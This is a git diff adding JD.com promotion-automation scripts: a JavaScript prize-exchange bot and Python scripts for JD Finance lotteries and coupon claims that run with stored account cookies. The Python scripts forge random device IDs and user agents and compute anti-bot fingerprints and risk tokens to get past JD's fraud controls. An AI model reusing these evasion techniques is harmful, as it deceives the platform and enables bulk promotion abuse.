+ for (let j = 0; j <= 10; j++) { + await smtg_obtainPrize(prizeId); + if ($.errBizCodeCount >= 15) break + } + } + } else { + console.log(`兑换失败,您目前蓝币${$.totalBlue}个,不足以兑换${$.title}所需的${$.blueCost}个`); + $.beanerr = `兑换失败,您目前蓝币${$.totalBlue}个,不足以兑换${$.title}所需的${$.blueCost}个`; + } + } else { + console.log(`奖品兑换列表【${coinToBeans}】已下架,请检查活动页面是否存在此商品,如存在请检查您的输入是否正确`); + $.beanerr = `奖品兑换列表【${coinToBeans}】已下架`; + } + } + } +} +//查询白酒类奖品列表API +function smtg_materialPrizeIndex(timeout = 0) { + $.materialPrizeIndex = []; + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `${JD_API_HOST}&functionId=smtg_materialPrizeIndex&clientVersion=8.0.0&client=m&body=%7B%22channel%22:%221%22%7D&t=${Date.now()}`, + headers : { + 'Origin' : `https://jdsupermarket.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://jdsupermarket.jd.com/game/?tt=1597540727225`, + 'Host' : `api.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + } + } + $.post(url, async (err, resp, data) => { + try { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode !== 0) { + $.beanerr = `${data.data.bizMsg}`; + return + } + $.materialPrizeIndex = data.data.result.prizes || []; + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} +//查询任务 +function smtg_queryPrize(timeout = 0){ + $.queryPrizeData = []; + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `${JD_API_HOST}&functionId=smt_queryPrizeAreas&clientVersion=8.0.0&client=m&body=%7B%22channel%22%3A%2218%22%7D&t=${Date.now()}`, + headers : { + 'Origin' : `https://jdsupermarket.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://jdsupermarket.jd.com/game/?tt=1597540727225`, + 'Host' : `api.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + } + } + $.post(url, async (err, resp, data) => { + try { + if (safeGet(data)) { + data = JSON.parse(data); + // $.queryPrizeData = data; + if (data.data.bizCode !== 0) { + console.log(`${data.data.bizMsg}\n`) + $.beanerr = `${data.data.bizMsg}`; + return + } + if (data.data.bizCode === 0) { + const { areas } = data.data.result; + const prizes = areas.filter(vo => vo['type'] === 4); + if (prizes && prizes[0]) { + $.areaId = prizes[0].areaId; + $.periodId = prizes[0].periodId; + $.queryPrizeData = prizes[0].prizes || []; + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} +//换京豆 +function smtg_obtainPrize(prizeId, timeout = 0, functionId = 'smt_exchangePrize') { + //1000京豆,prizeId为4401379726 + const body = { + "connectId": prizeId, + "areaId": $.areaId, + "periodId": $.periodId, + "informationParam": { + "eid": "", + "referUrl": -1, + "shshshfp": "", + "openId": -1, + "isRvc": 0, + "fp": -1, + "shshshfpa": "", + "shshshfpb": "", + "userAgent": -1 + }, + "channel": "18" + } + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `${JD_API_HOST}&functionId=${functionId}&clientVersion=8.0.0&client=m&body=${encodeURIComponent(JSON.stringify(body))}&t=${Date.now()}`, + headers : { + 'Origin' : `https://jdsupermarket.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://jdsupermarket.jd.com/game/?tt=1597540727225`, + 'Host' : `api.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + } + } + $.post(url, async (err, resp, data) => { + try { + console.log(`兑换结果:${data}`); + if (safeGet(data)) { + data = JSON.parse(data); + $.data = data; + if ($.data.data.bizCode !== 0 && $.data.data.bizCode !== 400) { + $.beanerr = `${$.data.data.bizMsg}`; + //console.log(`【京东账号${$.index}】${$.nickName} 换取京豆失败:${$.data.data.bizMsg}`) + return + } + if ($.data.data.bizCode === 400) { + $.errBizCodeCount ++; + console.log(`debug 兑换京豆活动火爆次数:${$.errBizCodeCount}`); + return + } + if ($.data.data.bizCode === 0) { + if (`${coinToBeans}` === '1000') { + $.beanscount ++; + console.log(`【京东账号${$.index}】${$.nickName || $.UserName} 第${$.data.data.result.count}次换${$.title}成功`) + if ($.beanscount === 1) return; + } else if (`${coinToBeans}` === '20') { + $.beanscount ++; + console.log(`【京东账号${$.index}】${$.nickName || $.UserName} 第${$.data.data.result.count}次换${$.title}成功`) + if ($.data.data.result.count === 20 || $.beanscount === coinToBeans || $.data.data.result.blue < $.blueCost) return; + } else { + $.beanscount ++; + console.log(`【京东账号${$.index}】${$.nickName || $.UserName} 第${$.data.data.result.count}次换${$.title}成功`) + if ($.beanscount === 1) return; + } + } + } + await smtg_obtainPrize(prizeId, 3000); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} +function smtgHome() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_newHome'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市兑换奖品: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + // console.log(data) + if (data.data.bizCode === 0) { + const { result } = data.data; + $.totalBlue = result.totalBlue; + console.log(`【总蓝币】${$.totalBlue}个\n`); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function sleep(timeout) { + return new Promise((resolve) => setTimeout(resolve, timeout)); +} +//通知 +function msgShow() { + // $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【收取蓝币】${$.coincount ? `${$.coincount}个` : $.coinerr }${coinToBeans ? `\n【兑换京豆】${ $.beanscount ? `${$.beanscount}个` : $.beanerr}` : ""}`); + return new Promise(async resolve => { + $.log(`\n【京东账号${$.index}】${$.nickName || $.UserName}\n${coinToBeans ? `【兑换${$.title}】${$.beanscount ? `成功` : $.beanerr}` : "您设置的是不兑换奖品"}\n`); + if ($.isNode() && process.env.MARKET_REWARD_NOTIFY) { + $.ctrTemp = `${process.env.MARKET_REWARD_NOTIFY}` === 'false'; + } else if ($.getdata('jdSuperMarketRewardNotify')) { + $.ctrTemp = $.getdata('jdSuperMarketRewardNotify') === 'false'; + } else { + $.ctrTemp = `${jdNotify}` === 'false'; + } + //默认只在兑换奖品成功后弹窗提醒。情况情况加,只打印日志,不弹窗 + if ($.beanscount && $.ctrTemp) { + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n${coinToBeans ? `【兑换${$.title}】${ $.beanscount ? `成功,数量:${$.beanscount}个` : $.beanerr}` : "您设置的是不兑换奖品"}`); + allMessage += `【京东账号${$.index}】${$.nickName || $.UserName}\n${coinToBeans ? `【兑换${$.title}】${$.beanscount ? `成功,数量:${$.beanscount}个` : $.beanerr}` : "您设置的是不兑换奖品"}${$.index !== cookiesArr.length ? '\n\n' : ''}` + // if ($.isNode()) { + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n${coinToBeans ? `【兑换${$.title}】${$.beanscount ? `成功,数量:${$.beanscount}个` : $.beanerr}` : "您设置的是不兑换奖品"}`) + // } + } + resolve() + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}&functionId=${function_id}&clientVersion=8.0.0&client=m&body=${escape(JSON.stringify(body))}&t=${Date.now()}`, + headers: { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'Cookie': cookie, + 'Referer': 'https://jdsupermarket.jd.com/game', + 'Origin': 'https://jdsupermarket.jd.com', + } + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_btdraw.py b/jd_btdraw.py new file mode 100644 index 0000000..7d71fab --- /dev/null +++ b/jd_btdraw.py @@ -0,0 +1,180 @@ +# -*- coding:utf-8 -*- +#pip install PyExecJS + + +""" +cron: 23 10 * * * +new Env('京东金融天天试手气'); +""" + + +import requests +import json +import time +import os +import re +import sys +import random +import string +import urllib + +try: + import execjs +except: + print('缺少依赖文件PyExecJS,请先去Python3安装PyExecJS后再执行') + sys.exit(0) + +def printf(text): + print(text) + sys.stdout.flush() + +def load_send(): + global send + cur_path = os.path.abspath(os.path.dirname(__file__)) + sys.path.append(cur_path) + if os.path.exists(cur_path + "/sendNotify.py"): + try: + from sendNotify import send + except: + send=False + printf("加载通知服务失败~") + else: + send=False + printf("加载通知服务失败~") +load_send() + +def get_remarkinfo(): + url='http://127.0.0.1:5600/api/envs' + try: + with open('/ql/config/auth.json', 'r') as f: + token=json.loads(f.read())['token'] + headers={ + 'Accept':'application/json', + 'authorization':'Bearer '+token, + } + response=requests.get(url=url,headers=headers) + + for i in range(len(json.loads(response.text)['data'])): + if json.loads(response.text)['data'][i]['name']=='JD_COOKIE': + try: + if json.loads(response.text)['data'][i]['remarks'].find('@@')==-1: + remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].replace('remark=','') + else: + remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].split("@@")[0].replace('remark=','').replace(';','') + except: + pass + except: + printf('读取auth.json文件出错,跳过获取备注') + +def randomuserAgent(): + global uuid,addressid,iosVer,iosV,clientVersion,iPhone,area,ADID,lng,lat + uuid=''.join(random.sample(['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','a','b','c','z'], 40)) + addressid = ''.join(random.sample('1234567898647', 10)) + iosVer = ''.join(random.sample(["15.1.1","14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1"], 1)) + iosV = iosVer.replace('.', '_') + clientVersion=''.join(random.sample(["10.3.0", "10.2.7", "10.2.4"], 1)) + iPhone = ''.join(random.sample(["8", "9", "10", "11", "12", "13"], 1)) + area=''.join(random.sample('0123456789', 2)) + '_' + ''.join(random.sample('0123456789', 4)) + '_' + ''.join(random.sample('0123456789', 5)) + '_' + ''.join(random.sample('0123456789', 4)) + ADID = ''.join(random.sample('0987654321ABCDEF', 8)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 12)) + lng='119.31991256596'+str(random.randint(100,999)) + lat='26.1187118976'+str(random.randint(100,999)) + UserAgent='' + if not UserAgent: + return f'jdapp;iPhone;10.0.4;{iosVer};{uuid};network/wifi;ADID/{ADID};model/iPhone{iPhone},1;addressid/{addressid};appBuild/167707;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/null;supportJDSHWK/1' + else: + return UserAgent + +def JDSignValidator(url): + with open('JDSignValidator.js', 'r', encoding='utf-8') as f: + jstext = f.read() + js = execjs.compile(jstext) + result = js.call('getBody', url) + fp=result['fp'] + a=result['a'] + d=result['d'] + return fp,a,d + + +def geteid(a,d): + url=f'https://gia.jd.com/fcf.html?a={a}' + data=f'&d={d}' + headers={ + 'Host':'gia.jd.com', + 'Content-Type':'application/x-www-form-urlencoded;charset=UTF-8', + 'Origin':'https://jrmkt.jd.com', + 'Accept-Encoding':'gzip, deflate, br', + 'Connection':'keep-alive', + 'Accept':'*/*', + 'User-Agent':UserAgent, + 'Referer':'https://jrmkt.jd.com/', + 'Content-Length':'376', + 'Accept-Language':'zh-CN,zh-Hans;q=0.9', + } + response=requests.post(url=url,headers=headers,data=data) + return response.text + +def draw(activityid,eid,fp): + global sendNotifyflag + global prizeAward + sendNotifyflag=False + prizeAward=0 + url='https://jrmkt.jd.com/activity/newPageTake/takePrize' + data=f'activityId={activityid}&eid={eid}&fp={fp}' + headers={ + 'Host':'jrmkt.jd.com', + 'Accept':'application/json, text/javascript, */*; q=0.01', + 'X-Requested-With':'XMLHttpRequest', + 'Accept-Language':'zh-CN,zh-Hans;q=0.9', + 'Accept-Encoding':'gzip, deflate, br', + 'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8', + 'Origin':'https://jrmkt.jd.com', + 'User-Agent':UserAgent, + 'Connection':'keep-alive', + 'Referer':'https://jrmkt.jd.com/ptp/wl/vouchers.html?activityId=Q029794F612c2E2O1D2a0N161v0Z2i2s9nJ&jrcontainer=h5&jrlogin=true&jrcloseweb=false', + 'Content-Length':str(len(data)), + 'Cookie':ck + } + response=requests.post(url=url,headers=headers,data=data) + try: + if json.loads(response.text)['prizeModels'][0]['prizeAward'].find('元')!=-1: + printf('获得'+json.loads(response.text)['prizeModels'][0]['useLimit']+'的'+json.loads(response.text)['prizeModels'][0]['prizeName']+'\n金额:'+json.loads(response.text)['prizeModels'][0]['prizeAward']+'\n有效期:'+json.loads(response.text)['prizeModels'][0]['validTime']+'\n\n') + if int((json.loads(response.text)['prizeModels'][0]['prizeAward']).replace('.00元',''))>=5: + prizeAward=json.loads(response.text)['prizeModels'][0]['prizeAward'] + sendNotifyflag=True + if json.loads(response.text)['prizeModels'][0]['prizeAward'].find('期')!=-1: + printf(response.text) + send('抽到白条分期券','去看日志') + except: + printf('出错啦,出错原因为:'+json.loads(response.text)['failDesc']+'\n\n') + + time.sleep(5) + +if __name__ == '__main__': + printf('游戏入口:京东金融-白条-天天试手气\n') + remarkinfos={} + get_remarkinfo() + try: + cks = os.environ["JD_COOKIE"].split("&") + except: + f = open("/jd/config/config.sh", "r", encoding='utf-8') + cks = re.findall(r'Cookie[0-9]*="(pt_key=.*?;pt_pin=.*?;)"', f.read()) + f.close() + for ck in cks: + ptpin = re.findall(r"pt_pin=(.*?);", ck)[0] + try: + if remarkinfos[ptpin]!='': + printf("--账号:" + remarkinfos[ptpin] + "--") + username=remarkinfos[ptpin] + else: + printf("--无备注账号:" + urllib.parse.unquote(ptpin) + "--") + username=urllib.parse.unquote(ptpin) + except: + printf("--账号:" + urllib.parse.unquote(ptpin) + "--") + username=urllib.parse.unquote(ptpin) + UserAgent=randomuserAgent() + info=JDSignValidator('https://prodev.m.jd.com/mall/active/498THTs5KGNqK5nEaingGsKEi6Ao/index.html') + eid=json.loads(geteid(info[1],info[2]).split('_*')[1])['eid'] + fp=info[0] + draw('Q72966994128142102X259KS',eid,fp) + if sendNotifyflag: + send('京东白条抽奖通知',username+'抽到'+str(prizeAward)+'的优惠券了,速去京东金融-白条-天天试手气查看') \ No newline at end of file diff --git a/jd_btfree.py b/jd_btfree.py new file mode 100644 index 0000000..3ca5cbc --- /dev/null +++ b/jd_btfree.py @@ -0,0 +1,266 @@ +# -*- coding:utf-8 -*- +#依赖管理-Python3-添加依赖PyExecJS +#想拿券的cookie环境变量JDJR_COOKIE,格式就是普通的cookie格式(pt_key=xxx;pt_pin=xxx) +#活动每天早上10点开始截止到这个月28号,建议corn 5 0 10 * * * +import execjs +import requests +import json +import time +import os +import re +import sys +import random +import string +import urllib +from urllib.parse import quote + + +#以下部分参考Curtin的脚本:https://github.com/curtinlv/JD-Script + + +def randomuserAgent(): + global uuid,addressid,iosVer,iosV,clientVersion,iPhone,ADID,area,lng,lat + + uuid=''.join(random.sample(['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','a','b','c','z'], 40)) + addressid = ''.join(random.sample('1234567898647', 10)) + iosVer = ''.join(random.sample(["15.1.1","14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1"], 1)) + iosV = iosVer.replace('.', '_') + clientVersion=''.join(random.sample(["10.3.0", "10.2.7", "10.2.4"], 1)) + iPhone = ''.join(random.sample(["8", "9", "10", "11", "12", "13"], 1)) + ADID = ''.join(random.sample('0987654321ABCDEF', 8)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 12)) + + + area=''.join(random.sample('0123456789', 2)) + '_' + ''.join(random.sample('0123456789', 4)) + '_' + ''.join(random.sample('0123456789', 5)) + '_' + ''.join(random.sample('0123456789', 4)) + lng='119.31991256596'+str(random.randint(100,999)) + lat='26.1187118976'+str(random.randint(100,999)) + + + UserAgent='' + if not UserAgent: + return f'jdapp;iPhone;10.0.4;{iosVer};{uuid};network/wifi;ADID/{ADID};model/iPhone{iPhone},1;addressid/{addressid};appBuild/167707;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/null;supportJDSHWK/1' + else: + return UserAgent + +#以上部分参考Curtin的脚本:https://github.com/curtinlv/JD-Script + + +def printf(text): + print(text+'\n') + sys.stdout.flush() + + +def load_send(): + global send + cur_path = os.path.abspath(os.path.dirname(__file__)) + sys.path.append(cur_path) + if os.path.exists(cur_path + "/sendNotify.py"): + try: + from sendNotify import send + except: + send=False + printf("加载通知服务失败~") + else: + send=False + printf("加载通知服务失败~") +load_send() + + + +def get_remarkinfo(): + url='http://127.0.0.1:5600/api/envs' + try: + with open('/ql/config/auth.json', 'r') as f: + token=json.loads(f.read())['token'] + headers={ + 'Accept':'application/json', + 'authorization':'Bearer '+token, + } + response=requests.get(url=url,headers=headers) + + for i in range(len(json.loads(response.text)['data'])): + if json.loads(response.text)['data'][i]['name']=='JD_COOKIE': + try: + if json.loads(response.text)['data'][i]['remarks'].find('@@')==-1: + remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].replace('remark=','') + else: + remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].split("@@")[0].replace('remark=','').replace(';','') + except: + pass + except: + printf('读取auth.json文件出错,跳过获取备注') + + +def JDSignValidator(url): + with open('JDSignValidator.js', 'r', encoding='utf-8') as f: + jstext = f.read() + ctx = execjs.compile(jstext) + result = ctx.call('getBody', url) + fp=result['fp'] + a=result['a'] + d=result['d'] + return fp,a,d + + +def geteid(a,d): + url=f'https://gia.jd.com/fcf.html?a={a}' + data=f'&d={d}' + headers={ + 'Host':'gia.jd.com', + 'Content-Type':'application/x-www-form-urlencoded;charset=UTF-8', + 'Origin':'https://jrmkt.jd.com', + 'Accept-Encoding':'gzip, deflate, br', + 'Connection':'keep-alive', + 'Accept':'*/*', + 'User-Agent':UserAgent, + 'Referer':'https://jrmkt.jd.com/', + 'Content-Length':'376', + 'Accept-Language':'zh-CN,zh-Hans;q=0.9', + } + response=requests.post(url=url,headers=headers,data=data) + return response.text + + + +def gettoken(): + url='https://gia.jd.com/m.html' + headers={'User-Agent':UserAgent} + response=requests.get(url=url,headers=headers) + return response.text.split(';')[0].replace('var jd_risk_token_id = \'','').replace('\'','') + + 